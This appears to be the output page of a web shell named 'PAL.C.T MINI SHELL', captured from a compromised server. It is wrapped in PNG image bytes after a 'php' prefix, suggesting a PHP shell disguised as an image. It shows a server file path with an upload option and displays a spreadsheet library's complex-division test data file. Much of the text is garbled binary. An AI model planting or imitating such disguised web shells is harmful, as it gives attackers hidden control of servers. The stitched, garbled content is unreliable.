php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Engineering/
upload
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Engineering/IMDIV.data

"12.34+5.67j",	"123.45+67.89i",	"#NUM!"
"12.34+5.67j",	"123.45+67.89j",	"0.0961415519586104-0.00694248653276682j"
"-12.34+5.67i",	"-123.45+67.89i",	"0.0961415519586104+0.00694248653276682i"
"-12.34-5.67i",	"-123.45+67.89i",	"0.0573549954111941+0.0774712890924744i"
"-12.34+5.67i",	"-123.45-67.89i",	"0.0573549954111941-0.0774712890924744i"
"-12.34-5.67i",	"-123.45-67.89i",	"0.0961415519586104-0.00694248653276682i"
"12.34+5.67i",	"-123.45+67.89i",	"-0.0573549954111941-0.0774712890924744i"
"12.34-5.67i",	"-123.45+67.89i",	"-0.0961415519586104-0.00694248653276682i"
"12.34+5.67i",	"-123.45-67.89i",	"-0.0961415519586104+0.00694248653276682i"
"12.34-5.67i",	"-123.45-67.89i",	"-0.0573549954111941+0.0774712890924744i"
"-12.34+5.67i",	"123.45+67.89i",	"-0.0573549954111941+0.0774712890924744i"
"-12.34-5.67i",	"123.45+67.89i",	"-0.0961415519586104+0.00694248653276682i"
"-12.34+5.67i",	"123.45-67.89i",	"-0.0961415519586104-0.00694248653276682i"
"-12.34-5.67i",	"123.45-67.89i",	"-0.0573549954111941-0.0774712890924744i"
"-12.34-5.67i",	"123.45-67.89",		"#NUM!"
"-12.34-5.67j",	"123.45-67.89",		"#NUM!"
"-12.34-5.67",	"123.45-67.89j",	"#NUM!"
"-12.34-5.67i",	"-12.34-5.67i",		"1"
"-12.34",	"123.45-67.89i",	"-0.0767482736849023-0.0422068878126206i"
"-12.34-5.67i",	"-12.34",		"1+0.459481361426256i"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`